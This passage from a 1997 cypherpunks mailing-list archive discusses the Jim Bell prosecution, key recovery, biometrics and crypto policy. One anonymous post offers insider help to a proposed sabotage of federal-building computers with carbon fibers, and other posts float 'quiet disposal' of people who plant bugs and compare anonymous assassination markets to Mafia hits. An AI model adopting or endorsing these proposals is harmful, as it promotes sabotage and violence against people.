(and maybe Verifone, which HP is buying?) key recovery work. Conceivably, a
plan to sell a large user base (20 million?) on a hardware/keyboard-based
"secure commerce" solution.)

I'm quite skeptical of this sort of thing happening. It will take many
years to propagate such a hardware-based solution.

(By the way, it hardly will satisfy the "legitimate needs of law
enforcement" crowd, as I can't imagine Mobsters, terrorists, and anarchists
like us adopting such a solution.)

The existing base of computers is HUGE, and will persist for many years,
even decades. While a lot of folks are upgrading every couple of years to
the newer and faster Intel processors, an awful lot of machines remain in
use for many years. (This may be true even more so in coming years...the
200 MHz MMX machines now so popular will be blazingly fast for Internet
uses for many years to come...unless one is doing multimedia or serious
number crunching, it is hard to imagine such a machine running out of steam
for routine Net work for years to come.)

In short, I don't see a hardware-based V-chip being at all useful to the
interest of Big Brother. If he is pushing it, let him. There's no way, not
even in Fascist America, that people can be told their machines purchased
in 1997 (or 1998, or whenever this mysterious V-chip begins to be
available) are no longer allowed to be used on the Net.

And, as with the television V-chip, the precise crowd that "most needs"
(from the nanny's point of view) the capabilities are the folks least
likely to upgrade their televisions, VCRs, computers, etc. to the new and
improved V-chip versions.

(And as with the television V-chip, all it takes is a single non-V-chip VCR
to tune in banned programs, or a single "old" 400 MHz Pentium II machine,
tucked away in a closet, to bypass the Internet V-Chip.)

Arggh, it's too stupid an idea for me to have written this article on. Oh
well, it won't be the last such article. Expect this Internet V-Chip to get
a lot of media attention.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dichro@yodel.iinet.net.au (Mikolaj J. Habryn)
Date: Fri, 23 May 1997 14:42:55 +0800
To: decius@ninja.techwood.org (Decius 6i5)
Subject: Re: New Chip Verifies Fingerprints (fwd)
In-Reply-To: <m0wUlwu-00001AC@r42h17.res.gatech.edu>
Message-ID: <m3n2pm4snq.fsf@yodel.iinet.net.au>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> "D6" == Decius 6i5 <decius@ninja.techwood.org> writes:

    D6> If I get mugged and the mugger wants access to my bank account
    D6> all he has to do is chop off the relevant finger. Don't
    D6> laugh. This *WILL* happen.  Biometrics create an general
    D6> economic incentive for maiming or murdering people.

  Not to detract from your philosophical point, but I saw a
demonstration of a similar device over six years ago which not only
sampled the fingerprint pattern, but also the blood vessels beneath
the skin and blood flow patterns. The intent was, obviously, to
increase the difficulty level of creating a synthetic replacement, but
an (incidental?) advantage is that cutting off the finger in question
and presenting it without a blood supply would not work. While it is
still feasible to attach artificial blood pumping mechanisms etc, it
is no longer a $20 equipment budget.

    D6> I will take you one further... *When you implement a biometric
    D6> system you are deciding that the value of that which is being
    D6> protected is greater than the value of the lives of the people
    D6> who have access to it.*

  Once again, this assumes that the biometric system does not require
a living breathing subject to work upon. This is not necessarily a
valid assumption. Whilst the simpler systems may indeed be fooled
(although that is perhaps not the best term) by morbid samples, it is
certainly feasible to require living tissue.

  The remainder of your argument, which I shan't quote, likewise
revolves around the assertion that killing someone will always gain
you the access you desire. This is untrue. If you wish to push this
further, you could add stress analysis features to catch people
operating under coercion, and quick blood sampling to catch those
drugged into placidity who would otherwise be stressed (and
incidentally, any substance abuse that you might be interested in).

    D6> One additional point. The possibilities for surveilance
    D6> inherent in biometrics are fearsome. If I managed to compile a
    D6> large database of people's names, social security numbers, and
    D6> face prints; I could set up a closed circuit camera system in
    D6> my store which would provide me with the name, home address,
    D6> credit, and other information about every person who enters my
    D6> business, AUTOMATICALLY, without the customers even being
    D6> cognisant that this is going on. The marketing people will be
    D6> going nutz over this possibility. I'm going to the drug store
    D6> for some Pepto...

  Now, this /is/ an important concern. However, there's little way
around it. Authentication revolves around, in most cases, a high
assurance of the identity of something. The technique of
authentication is less of a concern than the possibilities of linking
diverse records together into a single database - and that is a more
interesting problem to try to solve.

m.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 24 May 1997 03:03:31 +0800
To: cypherpunks@toad.com
Subject: NYC Crypto Forum Add
Message-ID: <1.5.4.32.19970523183553.00700ecc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A supplement to the NYC Crypto Forum:

Toward the end Nesson asked, "How about the missing
participant here, NSA?"

Several panelists noted, "NSA's here, in the audience."
(Nonesuch spoke, however.)

Nesson went on to ask, "What about national security
interests outweighing the right to privacy?"

It was here that David Kahn offered his defense of key
recovery.

Farber and others responded that the problem is that
the government is not trusted, that guards against
abuse of power have not worked, that national security
too often has been a cloak for illicit actions.

Here, an audience member said that he worked at Salomon
Brothers doing traffic analysis of vast E-mail, and that we
should be aware that more electronic snooping is going on 
than most people know. How could we be sure that law
enforcement would not similarly abuse systems set up to
catch criminals for other purposes, as NSA allegedly does, 
and, now using the same methodolgies, as private companies 
do to spy on employees, customers and competitors.

All panelists nodded at this, that it's hard to tell god from
the devil, and crypto won't help.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 24 May 1997 06:26:53 +0800
To: Tim May <cypherpunks@algebra.com
Subject: Re: Police & military access
In-Reply-To: <19970522232331.08458@bywater.songbird.com>
Message-ID: <3.0.2.32.19970523151254.008cce40@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:53 AM 5/23/97 -0700, Tim May wrote:
>There is a current case involving a cop who is on the verge of losing his
>ability to be a cop because he pled "nolo contendre" to a domestic abuse
>charge a decade or so ago. The local law says that anyone in this situation
>may not have a gun, period. Thus, now that the law has caught up with him
>(no details on how and why this was not known until recently) he may not
>have a gun and thus may well lose his job.

I'm not familiar with local (Santa Cruz, or whatever) ordinances, but a
federal law saying exactly this was passed last year (the "Lautenberg Act",
which was apparently merged into a spending/budget act signed by Clinton on
10/3/96) - my hunch is that the controversy here is over the effects of the
federal law. The scenario you discussed is being played out in police
departments and sheriff's offices all over the country. Legislation has
been proposed this session (but its passage is uncertain to unlikely) which
would exempt law enforcement officers from the (federal) ban on possession
of weapons by convicted domestic violence offenders. 

>This would seem to support Jim Choate's general position. (Though I have my
>own skepticism that many jurisdictions think it is true.)

Jim Choate's messages about cops and "civil rights" suggest that he's not
familiar with and/or interested in the basics of legal research.
Restrictions (and lack of restrictions) related to use of force, power to
arest, possession/use of weapons, etc., are mostly statutory. You can't
find them (or understand them) by starting with only the Constitution, and
then reasoning and deducing things from it.

>From a moral or political perspective, (e.g., what *should* the
relationship between cops and citizens look like) what he writes is
perfectly reasonable. From a legal perspective (what is the law today?)
it's incomplete and thereby misleading. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 06:50:51 +0800
To: cypherpunks@toad.com
Subject: Spying On and Burgling Churches...is it "Legal"?
In-Reply-To: <199705232059.NAA13536@krypton.chromatic.com>
Message-ID: <v03102800afabc51894d9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:59 PM -0700 5/23/97, Ernest Hua wrote:
>> And some government spook is going to break into a church's computer
>> to find out if they are secret terrorists because they oppose this
>> or that government policy.
>
>This is an interesting point on which very little serious debate is
>taking place:
>
>    Is it EVER okay for spooks to break into a church's computer to
>    find out if they are secret terrorists?

Perhaps there is "little serious debate" on this because the U.S.
Constitution and 200+ years of later history pretty well decided the matter.

Granted, Hoover and his Secret Police were not the first to violate the
Fourth Amendment (or the First, etc.). Granted, the spying on the Catholic
Church with regard to the "Sanctuary Movement" (vis-a-vis the sheltering of
El Salvadoran refugees) was not even the most recent such example.

But there can be little "serious debate" about extra-legal,
unconstitutional spying.

However, Cypherpunks don't believe laws protect privacy.

The proper solution is strong cryptography and related tools. (And possible
private and quiet disposal of anyone caught inside a home, church, etc.,
planting illegal bugs, breaking and entering, etc.)

The real debate these days is whether such privacy tools should be
controlled and licensed by the government. I think the answer is clear.

Oh, and Cypherpunks don't much believe in this debate either. Regardless of
what the herd votes on, or approves out of complacence and ignorance,
Cypherpunks will tend to ignore such decisions.

>I'm not sure the answer is clearly one way or another, and I am
>willing to bet that the tone of the answers will mostly be emotional
>appeals to some idealistic standard or pessimistic nightmares.

I suggest you reread the U.S. Constitution, where the answer to your debate
was pretty clearly resolved. If the government wants to get a search
warrant against a church or any other entity, they can try. Or even a
wiretap (though such things didn't exist at the Founding). But the U.S.
Constitution does not provide for secret police breaking into churches or
homes in the dead of night without court authorization. Period. Legal
scholars are invited to correct me on this one if I am wrong.

(Yes, I'm aware that they do it, and that they can possibly even cite the
Executive Decision authorizing them to break into homes, plant evidence,
kill the residents, whatever. This doesn't make their actions
constitutional, and someday some court is going to have the guts to say so.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark C. Wallace" <mcw@clark.net>
Date: Sat, 24 May 1997 04:06:06 +0800
To: cypherpunks@toad.com
Subject: Reputation Capital
Message-ID: <199705231925.PAA06818@clark.net>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any papers/sources/url's on reputation capital?  [1]

I'm contemplating a project which I think might be similar; don't want
to unecessarily make a fool of myself.


[1] Dejanews and altavista turned up references, but nothing
substantive.  I've RTFM.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 06:47:11 +0800
To: cypherpunks@cyberpass.net
Subject: Timmy and the OKC Actions
In-Reply-To: <199705231756.KAA21831@fat.doobie.com>
Message-ID: <v03102802afabc9a8a74a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:56 AM -0700 5/23/97, Huge Cajones Remailer wrote:
>  It's naieve to assume that Bell was even the target.  World
>gov't/military machines learned their PR lessons in vietnam.
>As a part of a greater plan, it makes sense.
...
>  The US is still reeling from OK City.  Tried as it might, the US gov't
>couldn't find an outside enemy to pin it to.  Whether
>Timmy did it or not is again irrelevant, they needed to find
  ^^^^^^^^^^^^^^^^^^^
>someone to blame and did.  Now that it's the defenses turn, it
...

Hey, I _didn't_ do it. Honest. No fooling. I was more than 30 miles away
when that blast went off, and you can't place me in OKC anytime that
morning.

And my closest contacts with the Elohim City patriots were on a mailing
list Waco whiste-blower Linda Thompson was involved with.

(It's true that I gave some patriots some tips on encrypting, but that's
not a crime. And mostly I just gave them pointers to sites. Ditto for some
enemies of the Zionist Entity, but that's another story.)

--Timothy "not McVeigh" May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 24 May 1997 04:15:46 +0800
To: cypherpunks@toad.com
Subject: Re: The Bell Plan
Message-ID: <199705231935.PAA07649@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

TruthMonger #1 wrote:

> John Young wrote:
> >    The Oregonian, May 20, 1997, Metro Section P-1:
> >       An affidavit says a Vancouver man arrested Friday talked of
> >       sabotaging Portland's 9-1-1 computer and Bull Run water

>   After reading this news article and a variety of posts on the cypherpunks
> list (especially by Tim May and Paul Bradley), I have decided that I cannot
> in good conscious allow Jim Bell's persecution for exercising his basic
> human right to free speech to pass by without taking personal action to
> support him.
>   "Then they came for the CypherPunks, and nobody spoke up..."
>                                        - Jonathan

  Neither can I. Although some on the list claim I live in an ivory
tower while they live in the real world I haven't seen these cowards
coming forward to engage in any meaningful protest of the railroading
of Jim Bell.

>   Accordingly, I am hereby starting a thread on the cypherpunks list
> to discuss "the possibility of putting the fibers down the air vents
> of a federal building" to kill its computers, and the feasability
> of using other methods to accomplish the same end.

  While I can't speak for the effectiveness of this approach, I
would venture that any action of this sort would have a greater
chance of success with the cooperation of a government employee
such as myself who has access to the computers in the target
area. (We are not all government shills.)

>   In keeping with what I see as a cypherpunk frame of mind, I am
> posting this via an anonymous remailer, but I am also digitally
> signing it. I am not hiding my identity, but merely taking
> action to prevent my public statement from being used to unjustly
> persecute me.

  I will do likewise. I am forced to slant my regular posts to the
list to agree with government policy but unlike my detractors I
at least have the courage to take a stance against my employer's
unjust actions and challenge them to prove their case if they
wish to retaliate against me for exercising my right to free speech.

GovernmentMonger


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 24 May 1997 06:43:16 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Accounts payable
In-Reply-To: <199705231713.TAA03178@basement.replay.com>
Message-ID: <Pine.A41.3.95.970523161707.62928C-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 23 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C[reep] May's reheated, refurbished, and regurgitated cud is 
> completely inappropriate for the mailing lists into which it is 
> cross-ruminated.
> 
>     ' ' ' ' 
>     ^-O-O-^
>  -ooO--U--Ooo- Timmy C[reep] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 23 May 1997 22:58:54 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Spam laws threaten remailers?
Message-ID: <199705231444.QAA16307@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Two possibilities:

First, the law might not apply to remailer operators.  It only applies
to originators of messages.  It might make it illegal to use remailers
to send commercial messages, but that would apply to the users,
not to the remailer operators.

Even if it does apply to remailers, they can comply with it.
Put "Advertisement" at the front of each subject line, and put the
remailer operator's contact info in the message.  Remailer operators
are not generally hidden, so this does not hurt them any.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: franl@world.std.omit-this.com (Francis Litterio)
Date: Sat, 24 May 1997 01:09:02 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell accused of "spamming"
In-Reply-To: <LP647D1w165w@bwalk.dm.com>
Message-ID: <3388c803.182450459@world.std.com>
MIME-Version: 1.0
Content-Type: text/plain


dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) wrote:

> Subject: IRS SAYS INTERNET SPAMMER SABOTEUR

So the updated version of the McCarthyesque question is "Are you now
or have you ever been a spammer?"  I guess that's how the gubmint
inflames the sheep these days.
--
Francis Litterio                           PGP Key Fingerprint:
franl@world.std.omit-this.com              02 37 DF 6C 66 43 CD 2C
http://world.std.omit-this.com/~franl/     10 C8 B5 8B 57 34 F3 21
Note: email address and WWW URL altered to prevent spam.

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety." -- Ben Franklin, ~1784





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 07:14:27 +0800
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705230735.IAA00651@server.test.net>
Message-ID: <199705232305.SAA08354@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Adam,

the answer is that it happens because of my spam filter for cypherpunks.

you would not believe how much spam it catches... and bogus mailing
lists that cypherpunks were sub-scri-bed to...

the theory behind it is that if something was not sent to cypherpunks
explicitly, it most likely does not belong there.

naturally, I DO forward all stuff that belongs there to the list.

igor

Adam Back wrote:
> 
> 
> Igor Chudov <ichudov@algebra.com> writes:
> >
> > plz do not use bcc
> 
> Why not?  It is quite convenient for coping with the non-cross posting
> policy of other groups.
> 
> Also what is it with the <cpunks@manifold.algebra.com> forwards, why
> are these coming to the list forwarded from that address?  Are they
> things which failed your procmail filter manually forwarded
> afterwards?
> 
> Adam
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 24 May 1997 10:29:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: AP=MAFIA=CIA ?
In-Reply-To: <199705232040.NAA29081@fat.doobie.com>
Message-ID: <3.0.1.32.19970523181352.00759e34@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


An anonymous person quoted a Nando.net news story
>   ROME (May 23, 1997 3:43 p.m. EDT) - Italy on Friday mourned the judge
>   whose ground-breaking Mafia investigations led to his murder five
>   years ago.
....
> http://www.nando.net/newsroom/ntn/world/052397/world14_3679.html

There are some similarities between Mafia and CIA assassinations and the
kinds of AP that will become possible with widespread truely anonymous
communications and payment mechanisms, but also a lot of differences.
First of all, very few people think Mafia assassinations are a good idea :-)
On the other hand, in both cases, some good guys will get unfairly murdered,
as well as bad guys, innocent bystanders, and clueless henchpersons,
and in both cases there will be a chilling effect on the target population.

Both systems depend on anonymity and webs of trust.  With remailers, 
you're trusting the remailer operator not to rat on you, but you can 
chain several independent remailers together and be fairly secure.  
With Mafia assassinations, Don Vito doesn't usually call a hit man directly 
- he expresses to one of his trusted lieutenants that Big Paul has been
a real irritant to him lately and that something substantial needs 
to be done about it.  And maybe the lieutenant arranges something himself, 
or maybe he talks to a guy who doesn't do "work", but has a friend who does.
You've got plausible deniability for the guys on top, and they've got 
really strong personal trust in the anonymity of their communications, 
because not only are there family relationships going back generations,
and a code of honor that says you don't rat on your friends,
but it's backed up by the fact that everybody you're dealing with 
knows your True Name and if you double-cross them your life won't
be worth the crabgrass growing on the unmarked graves where your
various body parts will end up when they're done with you :-)

One of the big differences is that the overhead required to maintain a
Mafia infrastructure is substantial - it's necessary for a high-class
full-time pre-information-age criminal organization to do something like that,
but it's also something that's mainly affordable only by mafias, governments,
and similar organizations that have lots of money and time to waste.
AP in a remailer environment needs perhaps less infrastructure,
and it's infrastructure that's worth developing anyway for other reasons -
but as a side effect it lets the ordinary person afford to have unpopular
people killed off just like the Big Players can.  It's still a government-like
activity, just more decentralized, and without the pretense of legitimacy.






#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 24 May 1997 09:34:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell Complaint
In-Reply-To: <199705240031.TAA06112@mailhub.amaranth.com>
Message-ID: <199705240120.SAA21005@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


WIlliam H. Geiger III wrote:

: After reading the complainant I have to say that with friends like that
: who needs enemies? 

Let's see.  The only specific acts that are alleged are that Bell obtained
names and addresses of IRS employees, that he twice conducted a high
school type prank involving mercaptan, and that he used invented SS
numbers to avoid paying taxes.  SS numbers being those things the
government swore up and down would never be used to identify citizens, and
which are now required on all banking documents. 

Aside from these alleged events, everything else in the document is either
hysterical hyperbole, or innuendo concerning Bell's feelings about the
government, his interest in guerrilla warfare technology, or what
chemistry experiments he may or may not have performed. 

I hardly think the government is in any danger of being "overthrown" by
Mr. Bell.  It is patently absurd to suggest that a military and political
superpower which can project force to any part of the planet almost
instantly with virtually no fear of consequences is going to crumble at
the hands of one individual armed with a stinky chemical and an attitude. 

Any prosecution of Bell is just an attempt to frighten other sheeple
holding similar sentiments into silence. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 10:14:30 +0800
To: cypherpunks@algebra.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: <v03102800afabf7d95a81@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:28 PM -0500 5/23/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <1.5.4.32.19970523233752.00988164@pop.pipeline.com>, on 05/23/97
>   at 05:37 PM, John Young <jya@pipeline.com> said:
>
>>We offer the May 16 complaint against Jim Bell:
>
>>   http://jya.com/jimbell3.htm
>
>After reading the complainant I have to say that with friends like that
>who needs enemies?

Not clear whom you mean...do you mean with friends like Bell, who needs
enemies? Or do you mean, with friends like East and Daly, for Bell, who
needs enemies?

I was spellbound by the complaint John Young made available. It was, at the
least, very clearly written and extremely interesting to read.

We have focussed our comments on the charges related to Bell's essays, esp.
his "Assassination Politics" stuff. I remain convinced that no charges per
se will be successfully prosecuted on these writings.

Whether he planted stink bombs, and what that means, is another matter. (I
have to be honest and admit that it sure does look convincing to me that he
planned the stink bomb attacks, executed them, and then bragged to friends
that he'd gotten revenge. And I expect a jury to be similarly convinced.)

However, I think they're going to have a real hard time proving that an
interest in castor beans and ricin means that a *fatal* attack was planned.
Having read Bell's stuff, off and on, for more than a year and a half, I
just don't see the guy spreading botulism or ricin or Sarin. And proving
future plans, as opposed to actual past events, is tough.

The Social Security Numbers thing seems like a slam dunk to prove. Two of
the numbers differ by only digit (501 and 510). While this is a standard
ploy, based on my c. 1974 involvement in some libertarian tax avoidance
seminars, to "throw off" computers, it is also arguably a natural mistake,
a simple transposition of two digits. However, several of the numbers are
wildly different...the Hamming distance is such that the only explanation
is deliberate intent.

So, I think Bell is in serious trouble on several charges: the tax evasion
charges, the SS number charges (which may be subsumed in the tax charges),
and the "stink bomb" charges.

The other various claims and charges in the complaint, things like the
anti-government essays and the "assault" rifles found, don't seem likely to
go anywhere.

The "plotting to poison the water supply and drop carbon fibers down air
shafts" charges sound sensational. Indeed, Bell went further in terms of
buying stuff than I would have (or ever have), but this may have been
technical curiousity.

In any case, I expect it will be hard to prove a "might have," as opposed
to a "did."

Whether disappointingly or with relief, I noticed no mention of
"Cypherpunks," a name which surely would have been scattered amongst the
various documents on his computer. We'll see what comes up during the trial.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 24 May 1997 07:41:47 +0800
To: John Young <jya@pipeline.com>
Subject: Re: NYC Crypto Forum Add
In-Reply-To: <1.5.4.32.19970523183553.00700ecc@pop.pipeline.com>
Message-ID: <Pine.SUN.3.91.970523190626.11899I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 23 May 1997, John Young wrote:

> A supplement to the NYC Crypto Forum:
> 
> Toward the end Nesson asked, "How about the missing
> participant here, NSA?"
> 
> Several panelists noted, "NSA's here, in the audience."
> (Nonesuch spoke, however.)

I made a comment to the person next to me, yeah, it's Ms. Denning.  Kahn 
replied "No not really"  Interesting that he'd know...

> Nesson went on to ask, "What about national security
> interests outweighing the right to privacy?"

More interesting was "So, that's all key escrow will do? Let us catch 
stupid criminals?"
 
> It was here that David Kahn offered his defense of key
> recovery.

Yeah, that did suck.  'was cool that he was sitting right next to me.  
For a while it gave me major spookies that Ms Denning was "eyeing me" 
turns out it was Mr. Kahn next to me she was eyeing. :)
 
> Here, an audience member said that he worked at Salomon
> Brothers doing traffic analysis of vast E-mail, and that we
> should be aware that more electronic snooping is going on 
> than most people know. How could we be sure that law
> enforcement would not similarly abuse systems set up to
> catch criminals for other purposes, as NSA allegedly does, 
> and, now using the same methodolgies, as private companies 
> do to spy on employees, customers and competitors.

And of course Mr. FBI Scott (What's the last name) said it was total 
bull. :)  How would he know if the NSA was doing it and he was working 
for the FBI?
 
> All panelists nodded at this, that it's hard to tell god from
> the devil, and crypto won't help.

Yeah, this whole thing left me with the feeling of "Yawn, I've heard both 
sides of this before, nothing new here..."

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 24 May 1997 10:36:41 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
Message-ID: <v03102802afabfe0ecfaf@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:13 PM -0400 5/23/97, John Young wrote:

>Time to study and ponder the 1st Amend -- which, by the way,
>Matt Blaze did at the NYC crypto forum last night to challenge
>Charney and Denning. Matt pulled out a copy and cited
>it, which may be a good indication of what he knows that
>we don't about what's coming.

When I was in high school, about 30 years ago, much was made of a alleged
public opinion survey in which Americans on the street were asked what they
thought of a document they were shown.

According to the story, a majority thought the document was some kind of
leftist, communist, illegal propaganda.

Obviously you all know what document they were shown.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 24 May 1997 01:49:40 +0800
To: cypherpunks@toad.com
Subject: Accounts payable
Message-ID: <199705231713.TAA03178@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[reep] May's reheated, refurbished, and regurgitated cud is 
completely inappropriate for the mailing lists into which it is 
cross-ruminated.

    ' ' ' ' 
    ^-O-O-^
 -ooO--U--Ooo- Timmy C[reep] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 24 May 1997 08:57:55 +0800
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: <199705240031.TAA06112@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970523233752.00988164@pop.pipeline.com>, on 05/23/97 
   at 05:37 PM, John Young <jya@pipeline.com> said:

>We offer the May 16 complaint against Jim Bell:

>   http://jya.com/jimbell3.htm

After reading the complainant I have to say that with friends like that
who needs enemies?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4ZEyI9Co1n+aLhhAQHnjQP6AlDV345PgDIkyt9739QtaSasunc7tBIZ
